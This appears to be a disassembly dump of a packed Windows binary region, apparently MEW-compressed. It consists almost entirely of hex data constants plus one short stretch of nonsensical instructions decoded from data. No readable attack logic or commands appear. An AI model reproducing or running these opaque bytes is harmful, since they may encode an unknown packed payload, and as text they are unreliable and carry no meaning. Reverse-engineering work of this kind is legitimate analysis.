0B6867B1Ch, 0CE3BDFA2h, 0A1F0E4CDh dd 0EAABC119h, 69707461h, 9C5631F2h, 3477A848h, 4EFC57E4h dd 99D756DFh, 2B58B5A5h, 618857B6h, 1B49F80Fh, 5814307h dd 9125EAF5h, 0F4F9535Ah, 6E15FAD1h, 0A9FDE5DAh, 0EC8AEDFBh dd 0E6B70264h, 0F81A3628h, 6821978Ch, 0E1DB6E65h, 0DB3D4C8Ah dd 691D42FEh, 0F84FC5EFh, 0AD794769h, 370793B4h, 0C1A22924h dd 0C3C45DBh, 0BB7E07C0h, 401D15A6h, 98B3CF30h, 3AEEF316h dd 99301387h, 0AAA6A40Fh, 0AC8814E2h, 107FF0Ch, 0D0A4957Bh dd 37D827B8h, 560532EAh, 0FC7BEB4Bh, 0E84BC3BFh, 0B2EB5FDEh dd 0A5316621h, 1E0F8F4Fh, 0C92CA48Ch, 0F4EFEB91h, 83EF6CD5h dd 50F9D365h, 4B8FBF44h, 0FFCE079h, 70AA6ADEh, 0D8D0BD4Ch dd 701EB9EAh, 0F4DB2B12h, 4C2A3E06h, 0CD8A8B18h, 7FC48681h dd 0D0451594h, 66A4F15Eh, 0EBAEF3C4h, 20BFEE06h, 0F703E976h dd 3C28F9DBh, 440530A3h, 10EDF57Dh, 0ACD619A5h, 4E4A9B04h dd 0D118F872h, 0D91734C2h, 411CCFDBh, 0F83AD00Eh, 63F2282Ah dd 708EF93Fh, 6D735C6h, 344F6E4Bh, 0F3CD59D5h, 64CFBACDh dd 66195D95h, 0AC97292Bh, 2D7255E1h, 0B404CD36h, 0CC7AC646h dd 5B740647h, 2DDABF35h, 46AAD4E1h, 0AFC3B706h, 6DD4A8E1h dd 0E6BB3EB2h, 0A89C3DD4h, 0A45DED1Bh, 0CE5CD276h, 0ABBC0B9Ah dd 35926E2Ch, 4426CB7Bh, 0B4EBAF8Eh, 89DB3DA1h, 8E116773h dd 0E826BEC6h, 3EDD1D2h, 1D6D7E04h, 4FC5918Fh, 1D1DD852h dd 563E42ACh, 0E806C50Eh, 7F13E7F4h, 14F5B27Ah, 5C2D93F6h dd 5F84BEE9h, 0DB6AA9E4h, 19245B76h, 76A9C0F1h, 382C9DE6h dd 3B5312AAh, 0EEEDA748h, 80E56B80h, 0A9A68F28h, 0BB1F63CFh dd 0EED992E2h, 8C225254h, 1CBF7214h, 6A1FC7BBh, 554A1998h dd 0CF53C80Ch, 0BCEAF5B3h, 0E0E0786Ah, 0D330A448h, 5B623EB9h dd 0B0250773h, 796A26A8h, 8692CA97h, 915DDFA4h, 6A1BBD02h dd 2D8ABAC1h, 0EAD4B849h, 215E4FF5h, 0C168514Fh, 91AA2A87h dd 70FFEA3h, 208F5EC8h, 0FB7FDA76h, 22A13848h, 0C2FAC5EBh dd 97F76BBh, 69A7B99Ch, 0BDB04B36h, 2DED8E4Dh, 491B7151h dd 0D2B43656h, 88D683B5h, 2609492Fh, 0C5B933BBh, 0E19545F7h dd 3EFE7F45h, 0C0B67F2Dh, 65C515EDh, 7FA5E39Ch, 0CE01E31h dd 0BDD2B496h, 801877AAh, 0BDC3C13Fh, 582EECB4h, 0F777CB3Eh dd 0D37238D1h, 0D0430B8Ch, 57D65C2h, 8B24B692h, 497D5A45h dd 7679C298h, 3D06E932h, 0E2E5B8B6h, 0D8B0A644h, 0B5D417B5h dd 8B32853Dh, 4DC9538Ch, 16A3E4B2h, 8FBA000Bh, 9BBFB92h dd 5F0D4C58h, 9E09F8D0h, 89EA38D8h, 1E3CE287h, 788E678Dh dd 4861BE2Dh, 17424F14h, 0B4ADBC16h, 0CB85615Eh, 0C3554EBDh dd 0C971D23Ch, 27357EFEh, 0D09CF9B4h, 68439D95h, 994E2F15h dd 0B953163Dh, 8BAB1E73h, 0E40EAB09h, 0DF936BACh, 0ED5555C6h dd 7D877070h, 6AE6CDEBh, 0B443A4A8h, 5CBAB182h, 0BA1B9156h dd 0DF92BC1h, 0FB9BAC34h, 42EB6A61h, 88B0E157h, 2A3B6D0Bh dd 0CB7EE54Eh, 0CE2605EBh, 7191CC8Ah, 65654419h, 0DEB92A43h dd 567E2BAAh, 4CDD7FFBh, 2327FB47h, 5F549913h, 4811A091h dd 972A2B43h, 200883B7h, 8E256EC5h, 0AD374D6Dh, 0CD9B1B90h dd 47A23299h, 559AA998h, 0FA24FBB3h, 907064BFh, 82C30D07h dd 5F1D1E75h, 15F21284h, 0A13CEA91h, 4AEB4402h, 0D984C9D7h dd 9FACA6A5h, 0E024561Dh, 0DFA305B1h, 0DDF72C0Bh, 464E8E16h dd 7C6DF01Fh, 65D2F243h, 71702871h, 9207B33Ah, 79E3EAEEh dd 2BA4746Fh, 0F60F6655h, 56CE09B9h, 4C9DEDFFh, 0B8E538A3h dd 73F04047h, 0E74F6ACh, 0C6A2477Ah, 4E87E371h, 0A95D3290h dd 24525892h, 9CC50699h, 13DA5BD2h, 50794A09h, 7C1B3443h dd 4A1D5906h, 7ED2D1D4h, 4146325Ch, 91CE9525h, 9A23D888h dd 95FA0EC5h, 81DDDCAEh, 0DC93095Dh, 0E714AE89h, 0F3A0C3F1h dd 0E6EFFDC7h, 0F9ADC122h, 0FE80888h, 0A53AD843h, 4C058CEAh dd 8380B5C8h, 0A5196B06h, 0ABC79BCh, 3181E9CBh, 3568CBE7h dd 0E6924286h, 7E108C06h, 37D164F0h, 828B222Ch, 0E95D2FFCh dd 0DB2E460Dh, 0B849653Ch, 3E83F712h, 0EF17D694h, 6B9D7320h dd 30AE7310h, 55EF276Dh, 76C6F35h, 66E8FC2Ah, 1A5D2F14h dd 0D7368FAh, 9B0F5F5Ch, 0CEDBD81Ch, 98F6C15h, 253A0E9Ch dd 0A93C1652h, 99688EB2h, 11C52313h, 6C586C29h, 7BD7600Ah dd 0A470ABF4h, 0BB05DC19h, 596CBD1Dh, 9B96C763h, 0B88436BEh dd 4EB286D9h, 84FC1213h, 0B2DA24DEh, 51E85AC3h, 0ACFAF900h dd 50ECCFDAh, 8F7A7EB7h, 8F382043h, 4D74B6E6h, 1CC77E4h dd 7A615DE5h, 4E5E4860h, 65ADFBFh, 971C3CDDh, 98AD347h dd 0A16BD584h, 8C55A201h dd 0E8A26D7Eh, 0DECD3934h, 734DBE61h, 8BBB2610h, 0BB1E5D59h dd 970134AEh, 2E7D4DD6h, 3029CD50h, 797D4EB6h, 75D51BBBh dd 0BC04C10Ch, 37BB9D0Ah, 3B97D01Dh, 409BC695h, 61AE037Dh dd 6D8E8B2Bh, 0A3840FAAh, 2BB56485h, 0A43F78E6h, 55B2115Dh dd 63583F4Dh, 0C253DCDFh, 31F07683h, 0A0314922h, 4833D24Eh dd 0F8EA249Fh, 0F5A1983Ch, 2269546Bh, 0B5253B13h, 0F183D4C9h dd 51ED0298h, 0C2BE28DBh, 212EDDE4h, 4C457EADh, 1FFD09ACh dd 2ACD6369h, 0A74B9A44h, 83F9A27Dh, 0E397E3D3h db 0F0h, 22h ; --------------------------------------------------------------------------- loc_4238BE: ; CODE XREF: MEW:00418D29j xor eax, 6C9CF0A4h mov edi, [edi+748877DFh] scasd xchg bh, dl movsb dec ecx setalc pushf xor al, 6 outsd dec ebp lodsb cmp al, 99h mov eax, ds:8E76EB8Fh retf ; --------------------------------------------------------------------------- db 0DCh, 0FEh, 2Eh dd 83387F70h, 0D232B779h, 0EF8567CDh, 0D22744D6h, 35A44CA4h dd 0E7FC05FFh, 6933E467h, 44BD0725h, 10342E9Bh, 32EB1280h dd 73421h, 2BAD5CDBh, 0A3E1705Ch, 0D21D7DCCh, 3CDC6C9Dh dd 2671F551h, 84B74934h, 20C03FDh, 0CD81895h, 9AE9E9E4h dd 32B08BDh, 0B7E5280Dh, 0A4BCC105h, 366A7EE3h, 9D39F348h dd 5FE27AE0h, 504BA3FDh, 494D59E8h, 40AA4187h, 0DC66A014h dd 1D50A0C0h, 417F08F1h, 1A7B7AD4h, 0E0A811C5h, 38453EAAh dd 1934DA77h, 1A730A69h, 2B83223Dh, 6A4D911Ah, 5A88C837h dd 9FCEA4C5h, 94A7455h, 7567467Fh, 0D6D8B7E3h, 0B8C21B6Eh dd 0CC19BFh, 0C926680Ah, 94814A88h, 730ECEE5h, 9DDA70C6h dd 169A6D2Fh, 0B5401FD6h, 20E72A25h, 0FB6B6514h, 0DE575637h dd 0F72D351Ch, 0EBC0006Ch, 0F4800A3Ch, 3A49501Eh, 0B137AB08h dd 273DFF12h, 0D1B92625h, 66007C7Ch, 9B165D68h, 0A1EDB8DAh dd 1D9E7CB2h, 7F257C73h, 2009759Dh, 5F8F177Eh, 0AF7FB6B8h dd 193F3805h, 3DC26713h, 1585A7A0h, 8C4C212Eh, 5F645E67h dd 26033865h, 43414F28h, 9FD98F1Eh, 0BBBD6F33h, 253DC5EFh dd 0EA741242h, 0A8A9BB0Ah, 836751AEh, 0C694DF8Eh, 1B102858h dd 695C933Ch, 0DABB4E1Fh, 4CBFFBBEh, 97F1FA3Ch, 84FD4768h dd 0E6F81026h, 0DDF3408Bh, 99824630h, 3ED690DBh, 9B74A5BCh dd 0A8191A92h, 0EF5CAFEh, 0CB864DF5h, 35B2BD8Dh, 263CD3CCh dd 46C1CF65h, 993B5070h, 0BA43DFF9h, 475EF56Ch, 0C31B54E0h dd 5DC31AF0h, 0F466DAD3h, 81F7A83Fh, 0BA21C5B2h, 0FFB0F92h dd 9C091D04h, 52140617h, 0BBEBA6F2h, 0D84F87FBh, 1E5EBC47h dd 5E5F2959h, 8D756CFEh, 0B883721Ch, 7E73CADFh, 3F5A8391h dd 0A0168246h, 0B27C3FEBh, 0BF1B2482h, 5110FE6Ch, 83638D8Fh dd 0A5FF34F2h, 2C38587Bh, 73BBF684h, 2DFBCC96h, 1978A348h dd 8BD4B8DDh, 5F4B6152h, 0FCF9E91Bh, 0CA78093Eh, 7CCBDE24h dd 0BFE23908h, 0EBBFB857h, 80C0D8E0h, 0E63ED924h, 5668BE17h dd 35704844h, 0D86A50h, 922B10BAh, 0A0C9CF1Eh, 85B1EBD4h dd 92F63881h, 42A6559Dh, 0BDC59B1Ch, 0ECA6FED6h, 3EEE62E9h dd 0E330FA39h, 382EE07h, 0D3A4D7D4h, 0A5C36682h, 67C7F5DFh dd 76B57924h, 29203BE2h, 44F7FF22h, 0DFF22E53h, 5CBBCFAh dd 7C6FD27Dh, 0A15B5D66h, 601FCB9Ah, 0FF513AF0h, 0E3DEE6D7h dd 0EEA59A78h, 416F59D9h, 77B11D34h, 738B9F80h, 0BB129585h dd 0DD2D2FF6h, 8E1A1D74h, 0D5E8ED37h, 92316384h, 0E20AD0C3h dd 0D9794658h, 677DD2B5h, 0EAE15851h, 0F5CC1B7Fh, 0EA21976Ah dd 91963432h, 64B7CBAFh, 0BF2A30D3h, 0EE85EE7Ah, 0C0FC5360h dd 3495ECECh, 5C6AC855h, 0FB3EF7B6h, 8556DFDBh, 98FF0772h dd 0C10D5916h, 3A6C8FE7h, 8ECACA89h, 0E39527EAh, 0C0D89BA3h dd 0BE08BDEEh, 9FBDEB6Fh, 0D8D16127h, 0C1EF756Dh, 7D4E085Ch dd 64FC5468h, 43CF12D2h, 0DE5791Ah, 978EEA86h, 71ADAACAh dd 6C13C3EAh, 40C58A7Bh, 0E9CDCCABh, 0E5CA413Fh, 6C08F3FCh dd 0FDF87355h, 53E24E3h, 10A032BEh, 630E0226h, 68CA6DBFh dd 9A0A0F2Ch, 0C14A7CF9h, 1B874CD2h, 0F7F507A0h, 0A0333744h dd 0DDA16FC9h, 0D9E3922h, 5989D79Fh, 0F5D37CE3h, 2D580095h dd 0DD9CBDE8h, 0B98FF7D8h, 947FEEE8h, 0C421AE4Ch, 0E4324120h dd 0F663B8F6h, 0CAF66FB6h, 8D8ADFD3h, 33EF7A20h, 2E62F7A2h dd 6D38AA5Ch, 79352EAAh, 0BBF91410h, 4714F2BAh, 0F4B6EEE2h dd 0A4897E0h, 48B049C9h, 0C026E14Ah, 0B882AE40h, 86727A2h dd 0E603ACF3h, 4F588C3Ch, 0CC652BF2h, 0A1552B41h, 0B5C5DF42h dd 2D554E6Ah, 0AAB0F3FFh, 5E4EDDE0h, 964C385h, 6343D5B6h dd 0F95FA6C7h, 0CB244479h, 2064FA3Dh, 0F169494Fh, 0E731F48h dd 0B48F194Ch, 4444DAEAh, 3A2F5FFEh, 9B2A9E04h, 522AD6Bh dd 4B5D26C1h, 0B92088FDh, 0F20875F7h, 0CAC7DA09h, 5F4AEE24h dd 1FEBD91Eh, 1C6C5FE9h, 0E0664959h, 0AAF78581h, 41C1B95Eh dd 10DF1B3Ch, 0AC74CEA2h, 81C8761Ch, 4A92B79Ah, 3F018E3Fh dd 8BC12341h, 8ECA6E59h, 0BA9FD601h, 0B81B25Eh, 0FDF01124h dd 0FDADA48h, 0C11759ECh, 4CE227D0h, 271A99F7h, 0D2C7CF97h dd 4F5CBC04h, 4F2D7AD8h, 5B38F52h, 52F4528Ch, 0F715A75Ah dd 3BF5FEC2h, 26E8FC30h, 0D9DA1F13h, 8B928442h, 0B38648F1h dd 0B948E1AAh, 81BFA04h, 0FBDC9DB2h, 0D4B82F14h, 0B8685C33h dd 0D480DA4Eh, 1DE0B2DFh, 73225F6Ch, 7EAA3065h, 2DCE742Bh dd 0F5814298h, 0FC4BDC33h, 9E4F07A8h, 602FEDD3h, 0F9EC961Bh dd 0D5F498CAh, 0C2B57215h, 424D9AE8h, 0C0A0EC15h, 7C3A6410h dd 0EA578AA0h, 0CD993FE7h, 4E56EDF8h, 3B8C91A5h, 0FEDF1C67h dd 0D72DCEB7h, 0B780A388h, 19D079A8h, 348BC4F2h, 790F7D84h dd 0FB3E5A72h, 0D72F4E0Eh, 0E2481F1Ah, 23B0FB40h, 26EBF056h dd 72F0BCAEh, 8A45D3AAh, 72CE4191h, 12391676h, 6B3799AFh dd 78E6720h, 2AF20137h, 8CD379BEh, 5CFB79F4h, 0D9051206h dd 0E65D7BA2h, 0AF1A04D4h, 0FAB2FC22h, 0AA0311DBh, 95A72184h dd 0A931EDCAh, 2FE82F9h, 0B19EF0C3h, 61E53B79h, 9ACC1617h dd 0E8F8F246h, 618185EAh, 0A271EB09h, 7A1CCE75h, 0DB1C4D0h dd 5AEB7BA2h, 0A0099477h, 4E4E3B9Ch, 57896C4Fh, 3E9A34DEh dd 1D44A828h, 78F8F94Fh, 0C4B982B5h, 2A9C683Eh, 0FB72B8F8h dd 0CD842B8Eh, 2703FFE1h, 5785B242h, 99A64F6Dh, 0A46B431Dh dd 0E16E4DA9h, 1FD8D372h, 0F836237Ch, 9961BC15h, 0F45E6A32h dd 5E4BBD9Bh, 3FF29152h, 0D5BF7C9Ah, 0C4B2EE86h, 2ED6F7A5h dd 6C58E265h, 0AA780666h, 6FC4BA70h, 3D6F57F9h, 0C585A237h dd 25DBD80Ah, 0E56447D4h, 5CDDBC95h, 8BB1A1A3h, 0F788DF0Eh dd 6D9A4D7Ah, 0A5EFA5EAh, 0E66A7492h, 8D0A1D6h, 6743E252h dd 4F59BE5Eh, 58C18BDBh, 4ECBD694h, 7A5971F8h, 0AC55EE26h dd 8954872Ch, 0FC784D92h, 0DCFEFFF8h, 4B43F442h, 5C5A09B7h dd 2E8515C1h, 8DC228E3h, 233BD994h, 2232A93Ah, 0E5016CF0h dd 62B9149Eh, 2B780DBh, 3D98B9AAh, 24F5A94Bh, 64708866h dd 855FC12Fh, 34A74Ah, 65E8A29Ah, 0FE21C033h, 2CF28BCCh dd 673C453Eh, 0FEDA4BFAh, 0A1A4218Bh, 0D37152C4h, 3850BAC3h dd 5B6ED4E5h, 0AC4641A3h, 45BF0E52h, 0B172EED7h, 0CB6E2ECBh dd 0E91E6504h, 2949E082h, 291160h, 24218640h, 0A3B43F43h dd 0EF403504h, 0C2A046F7h, 3631DCA4h, 0DDFE1246h, 0DAE9E005h dd 0F193A19Bh, 4504748Ah, 421A1C77h, 1A5FD274h, 58F85E47h dd 57CCA6D7h, 0A5413ABEh, 0ED18D3FCh, 747772EFh, 0EA9DFCDDh dd 39D474B0h, 14C16644h, 0F520383Eh, 0E52775D7h, 7F7179CDh dd 6F9227E4h, 45CDC3BDh, 0ADB43523h, 71772E81h, 7B6C3795h dd 0FC483F57h, 6427036Fh, 79095680h, 7ECAC324h, 0B14B0F56h dd 0C539A858h, 0B544C3ABh, 0A05CC01Fh, 458F2808h, 54B7C02Fh dd 3845931Ah, 61298943h, 9E372AE0h, 2E1FEE1Ch, 5862CC0Ah dd 8AD1CBC8h, 9C4C11D3h, 45F398B8h, 0A05FC78Fh, 0F838D46Ch dd 0CAA68A63h, 5ACB1F59h, 131FF680h, 4C190930h, 8F4BF894h dd 4DCE98DDh, 0A10256A3h, 674CEDF0h, 28927AF7h, 5FBFD1CFh dd 0AB4DB831h, 2C83C504h, 0EC20793Ch, 69AF5A7Ch, 9C00EA89h dd 2E7B5A33h, 176E0306h, 0E5C3013Eh, 1D4EBF96h, 0AE74ABAFh dd 3EB6FF58h, 0C0A23Fh, 0D313D15Ah, 0FD58C92Eh, 9BBC42ECh dd 5785A260h, 441E9678h dd 0BEAB2651h, 8D46B139h, 15D7463h, 0C093E8C4h, 320BD31Eh dd 0DD44298h, 0F028EAC5h, 9DF093F1h, 8F1DDA87h, 33EB474Eh dd 226DED25h, 2972F34Bh, 0AB90FC9Ah, 2E799389h, 0DE5DCA0Eh dd 10313228h, 73A8937Ah, 0A15DF91Bh, 0F6C3ABCBh, 1DF0F78Ch dd 4F948A25h, 41A9E3FAh, 0A89E187Dh, 0ED1E8227h, 0F1A8660Ah dd 5548987Ah, 0E77093D2h, 763FA3Fh, 0BA3C62FFh, 0F026A063h dd 3751ACB9h, 0BFBB2B58h, 65BDE72Ch, 325585D3h, 0BD067A0Fh dd 0D364E41Ah, 0C3EDF586h, 0F1783A35h, 0F4CC41CBh, 96E32490h dd 0B3D93F18h, 318F1AA1h, 0EFDDF14Ch, 88D506B4h, 35282B48h dd 0E22D2EFh, 0B557C7EBh, 0CD31DC1Ch, 17B64A49h, 0B1FC8A10h dd 0B6B226E2h, 0A91AA8EBh, 85C298B3h, 689457F8h, 8A14B6B9h dd 0BCF2EA61h, 346819F8h, 1AB46315h, 763C9027h, 0ED55A2ECh dd 1C55AD28h, 0C3EFA7C0h, 6B146786h, 0F75270BEh, 32551CF1h dd 0F743EB88h, 84A6120Bh, 16253930h, 0CE7C1F03h, 3B3C1C0Eh dd 6B4B7D9Ch, 0CA14A44Ch, 91CC5069h, 39ED885Eh, 7B486608h dd 45DBAED3h, 5620C1EEh, 0B9A35CA5h, 774001D0h, 0ED0B8313h dd 0C2FC4470h, 1356A3DBh, 95136F9h, 0A5E7076h, 0BC7F6766h dd 2158E815h, 44B692B2h, 0E80142FEh, 0FF2EE781h, 0C8F1E294h dd 86FE75D2h, 0EE2E4A1Bh, 2DB328C5h, 37418184h, 0EBD0BA38h dd 0ACBF9D2Ch, 475784ABh, 0E49CE465h, 0D3605DB9h, 0A08A4CB7h dd 1A7DE779h, 0ECD664A0h, 9F858A70h, 0B363FEB6h, 0DAF5804Dh dd 343869D5h, 22F5C880h, 0C9E31832h, 1AC06B3Bh, 748C61C3h dd 0F2F621BEh, 0AE0F2D35h, 71B51D4Eh, 0D1F50C99h, 6D99A27Fh dd 1D79BF4Ch, 99F9F666h, 0D7DFABBAh, 0E66DDF07h, 5AA9505Ah dd 0E07094F8h, 0DBECFB5Eh, 0DDB7BEFh, 6AC489Ch, 9C4E7649h dd 60A26F3h, 3AC3A006h, 0EE15C329h, 0AF106638h, 3E760241h dd 6959C435h, 5D2304E2h, 7FAB10BDh, 0F52E7C45h, 98EA4197h dd 7573C6C6h, 3289A617h, 0DCB145C1h, 86D8AE8Fh, 569EBB93h dd 0F6434783h, 0CA2EF82Ah, 8D15452h, 0FE53D58Ch, 1B5A5A9Ah dd 7B51235h, 0A3154747h, 0BEFF2539h, 74DCAC7Eh, 5EDD596Dh dd 661D9576h, 3DA8F37Dh, 8A965D51h, 6796FEE2h, 0A6B751E3h dd 9DDAEF17h, 5EABA791h, 0F655A0A3h, 118AED64h, 0C2B07B4Bh dd 0EFEC410Ah, 5273CEF9h, 41DF1958h, 0D22248D8h, 8E52A5F7h dd 4C1B1AACh, 23CB122Ah, 9D4E7B13h, 0E6E93872h, 0C0359ED2h dd 18E22D9Ch, 0FDE1A7A0h, 385B84D6h, 2D73C916h, 29D113D3h dd 610FBB6Eh, 8F923306h, 50C94478h, 0A6BA4997h, 0C3B1CA01h dd 0ADCD1045h, 870FD285h, 8339B2ABh, 0D2889DB3h, 0F4B5538Ah dd 6C1C83E9h, 0E97D7A30h, 0B962DF7Fh, 5355B37Bh, 0E88BF283h dd 379F2098h, 0E272D035h, 75660EB8h, 0A293E161h, 5BA4BA62h dd 0C65F3E0Ch, 0AD458585h, 64AB256Bh, 0A3F91DA0h, 32BDC556h dd 889759C5h, 0DE0C90A4h, 4D93B95Eh, 0D3689C2Dh, 13FEEF61h dd 27B6188Eh, 15C8EDB6h, 0B246DB45h, 2E4D4312h, 0F40B51BCh dd 0E0AC44A2h, 0A9276C39h, 272C1B9Ah, 27E7A204h, 3F29B754h dd 0E246109h, 2E8696A3h, 0FAF8B68Ah, 17864630h, 433001CEh dd 92856165h, 0BB10D2BAh, 0AB8BD1D4h, 3DF6FCBBh, 3B4B4F44h dd 0CE57AE37h, 6401032h, 0FFAEB193h, 22305F35h, 0F59BD8CAh dd 6D781D55h, 94B53AEBh, 826FECC2h, 0DA3E11DCh, 364CA666h dd 99FD6FEh, 0B76C60EAh, 1470E542h, 47BB2DE5h, 35DB8805h dd 0DB77BC7h, 61CF81B4h, 59F2D785h, 0E91576FAh, 50CE117Fh dd 0ABACA7A3h, 0C550BF71h, 0BCE184E4h, 6462E87Bh, 33866930h dd 5258871Dh, 80350310h, 713E859Eh, 0DC6F8A23h, 5C62C2B9h dd 6BBB7962h, 0C00B5242h, 0CFBBAAF4h, 48B2FABFh, 0BD6F2CEFh dd 0FC29DBE4h, 3FDFA929h, 7584716Ah, 0D2BB8D97h, 0A09E51CEh dd 0BE0CAE30h, 3BD675BFh, 0A50F871Eh, 0B5234076h, 0EC1DBE40h dd 358F2ECBh, 0B7DFF368h, 0CED7B24Dh, 0C25735Bh, 649985A7h dd 1023267Ah, 4871C56Bh, 0CF049B43h, 4107227Bh, 0D0575631h dd 0F0D0572Eh, 2C890722h, 0B129ED8h, 128FFB40h, 0E64C7810h dd 0C5A3422Fh, 14E0D85Ah, 0D7E02194h, 0A72E942h, 2E22549Fh dd 0CDE583FFh, 763A25F0h, 9498038Bh, 4D16719Fh, 0C624BB71h dd 4715C3B8h, 0FE39DDCEh, 0A834E230h, 0D3DC9921h, 0B25E0463h dd 0E8E6C1EEh, 5321ACA8h, 0BB345106h, 0D5592EEDh, 52E9D525h dd 4BF9B956h, 28CF1AA3h, 1A8C2643h, 0BF49AB31h, 43AC46B5h dd 0BF2CAA8Bh, 3A232171h, 880BDFFEh, 0DEB9DD70h, 0BBCC0F22h dd 0C355784Bh, 0A3A0E508h, 0A491482Ah, 7AB3057Bh, 0B99529BBh dd 9A33C895h, 47AADA37h, 0F7ED476Ch, 0DEEFD8F0h, 0C3403E7Fh dd 6027CFA9h, 0FB1ED0DBh, 52AC2AD2h, 0D331AD8Ah, 0FA20E519h dd 1F803EA7h, 23C9A256h, 38CFB20Dh, 968D4969h, 41578BD9h dd 289EEAF2h, 30C313FEh, 0E93EE6ACh, 9753DAEh, 148A6689h dd 0F48EC84Ah, 832DDCC2h, 0B30DCDD4h, 0AD1604EFh, 0CAD31DF1h dd 674D15F9h, 0CB52BE45h, 36C64DEEh, 13662F9Dh, 0D9A129D9h dd 1EF64484h, 0A6D60172h, 96E2C577h, 0AE918810h, 6EFCCEB7h dd 0F9A9539Ah, 8FC7AD23h, 834568Eh, 2C68D872h, 1FE513A5h dd 8BA01473h, 0B54BFF02h, 0EE049E60h, 4F9C7ACBh, 12750737h dd 50B22906h, 0C8F9E383h, 1018C45Ch, 78A3BA82h, 46C78E0h dd 41DD7180h, 0DD3AB92Dh, 0AF377477h, 0ADAE9D2Ch, 2ACE72B9h dd 4F1DEF29h, 7D37A421h, 53AFA0BEh, 0C109F654h, 0DF8A2823h dd 0ED09D2D0h, 0AF24A732h, 55229A31h, 0FB8D08B0h, 93FBEAC9h dd 379507F4h, 8EAC2B7Ch, 0BC0BE810h, 0C8ACEA9Eh, 0C4009C4Eh dd 490A7EF9h, 86638A25h, 0C48E844Fh, 4B19F3EBh, 3A4461B1h dd 0DD16A893h, 0FB0425C5h, 0E75F28E6h, 0ACF31E9Eh, 9D5A8DE8h dd 768D7184h, 0C988290Dh, 346B5E2h, 0DB5C2FC8h, 0C6FA84B8h dd 1EC84FC9h, 677E77E6h, 0BEF9C6FAh, 4F5D1D16h, 0D6547E9h dd 7693E639h, 0E7A71D36h, 0BBF51490h, 0B7534D80h, 3A143C34h dd 8DAB692Bh, 0EAB2E821h, 0EE6062C7h, 27B062A7h, 9CC2E409h dd 2EA51C0Fh, 0E0F5E2BBh, 0C1EE6179h, 0BDC0ABB2h, 0F3CB5DEFh dd 0F9109D6Ah, 0CD670F3Fh, 0F938D781h, 2C014BCDh, 885786F2h dd 0EBCCB852h, 0C82A1559h, 0F5BC3BB1h, 0FEFA2B8Dh, 0F95A7A01h dd 35788C7Bh, 0B040C4D6h, 0D819AD79h, 3B2F13FCh, 939628EBh dd 0BD183F15h, 0F86502B7h, 0F3E53486h, 8B8D7598h, 75B7F609h dd 4609538Fh, 8217A1FBh, 41AF9F47h, 98FA61A4h, 927D811Eh dd 26C9DA66h, 6DF12ABBh, 6D8BB791h, 0EBC51606h, 7A296E7Bh dd 890D5A2Fh, 1B6E3E25h, 0C9C4708Eh, 0C33977ECh, 0CAE59997h dd 0A2BF77FAh, 0D432BEBFh, 47E57DB4h, 0D104DDE2h, 334BE68Ch dd 0D3AF6302h, 0E22B2BACh, 88B2EEF7h, 2E203464h, 0A3C34764h dd 0CFAE6BBAh, 0A24CD240h, 82841A27h, 19BC89B1h, 35B59D77h dd 299EB275h, 0B4430900h, 0EC9E73C4h, 0F7273F7Ah, 404071C5h dd 0A6D7772Eh, 0D2087BB7h, 181D11B1h, 0B7F59204h, 6636B151h dd 0A7C7B7D6h, 0A2D23009h, 0CCDA99Dh, 35DB234Fh, 9A4E6453h dd 2976F14Ch, 1FFD3C25h, 125197D7h, 5D9DF25h, 0BABA8129h dd 7AA7A396h, 6B6B83E9h, 32431EB4h, 0F54DF68Ah, 33468D97h dd 4713062Ch, 0FAA9741Dh, 819F1447h, 29D58A63h, 2C30F62Ah dd 0A653F0A1h, 1E1F29CBh, 2CD99F2Fh, 39D2211Bh, 22A10C8h dd 0E916B6ECh, 619EA0F2h dd 2A7CDD53h, 21FF63CCh, 1887B444h, 0C5D521FCh, 93353EECh dd 1934CD1Eh, 0E779946Ah, 0A2EBE341h, 0EAB41F9h, 0B8965DDFh dd 0A7498B19h, 0F586BB81h, 87F3EDF8h, 0F51A9B85h, 916255DEh dd 5A2D4E92h, 58792F6Dh, 88BA2A0h, 52D8D8F5h, 661F08F9h dd 76F0CC70h, 0C8B6AAA0h, 74063366h, 3D5EBFA4h, 4B4BEBBh dd 494681BBh, 0D0106A23h, 992624C3h, 95684211h, 5FADAA67h dd 0A8F53593h, 0F868ADD3h, 7FE49C41h, 7017A75Ah, 9F015211h dd 0D09DFA0Eh, 4796C0CAh, 6379AD07h, 0FFA67831h, 0A6E79C5h dd 15C2D42Dh, 2AC604FAh, 7E7DFD1Dh, 5DBFD31Bh, 34AF1AEh dd 944CB97Ch, 3A60B7C7h, 82F90A81h, 0CC0174AFh, 6FEA600Ah dd 0AEE43888h, 19F046C3h, 5F15448Ch, 710CE0C8h, 3EC482EAh dd 0DA0CA3A3h, 0CA1B464h, 0E8E350B7h, 0C9F2C619h, 84EB304Eh dd 0D1A34928h, 0CC5737A7h, 9F960F61h, 0AD8C820Ch, 7CE68D03h dd 0CD1D7833h, 0FDA73E26h, 10C09AD1h, 4EC7C487h, 48597691h dd 0CA13ACF0h, 341ACCD4h, 0D727E27Fh, 8DF4BB35h, 0C755B861h dd 0CCF52ECh, 0C76748CCh, 0ED469737h, 1CB903FFh, 0E037585h dd 0B5A2DD11h, 0D1FC35A2h, 0F740E5Eh, 518157F1h, 0F3A43903h dd 0C738999Dh, 0FAEDA3AFh, 7D61A370h, 0C61F58CCh, 0F25C8A80h dd 3BDC2885h, 725073A4h, 0EB67C29Ah, 629BFE9Ah, 8ED41592h dd 83DB237Dh, 641AEFEFh, 0CD0FFD81h, 0D1B145BFh, 0CC20076Ch dd 8DE11617h, 628060FEh, 519E7D54h, 264348D1h, 0F0EC518Ch dd 81BA5360h, 1F77CD2Ch, 381E4745h, 0AFAA690Bh, 4F8CD751h dd 55CD7EDh, 0DBBF275Eh, 0B8B8D98Fh, 8AC89798h, 0C5DFA6A7h dd 887F7476h, 406CCFFDh, 0DA3B6425h, 9E96F6CEh, 5183A061h dd 0B379804Ah, 8AF6CD55h, 0A8AF6218h, 0BC431E1Eh, 799D5C73h dd 38C9CEE3h, 0D117BEB1h, 4A6D4BB3h, 9A26698Ah, 0CDE4D684h dd 1587410Ah, 0DEE79947h, 0B04F1EE8h, 0DDDD3A1Fh, 7CF62600h dd 6393D682h, 991A35B0h, 0D83293CEh, 0FB96A4E3h, 2E460833h dd 0F9A63596h, 0E5AAE9FCh, 5FA74DDBh, 2152DDCCh, 5518F8A0h dd 0A2734CD0h, 90D48208h, 72338F3Ah, 0EA74615Ch, 0CB03142Ah dd 63417D76h, 0DA3278B6h, 4C9E0A85h, 48635384h, 915F7989h dd 5974D7Eh, 3650F195h, 1C677257h, 7A27B2F6h, 912F6ED0h dd 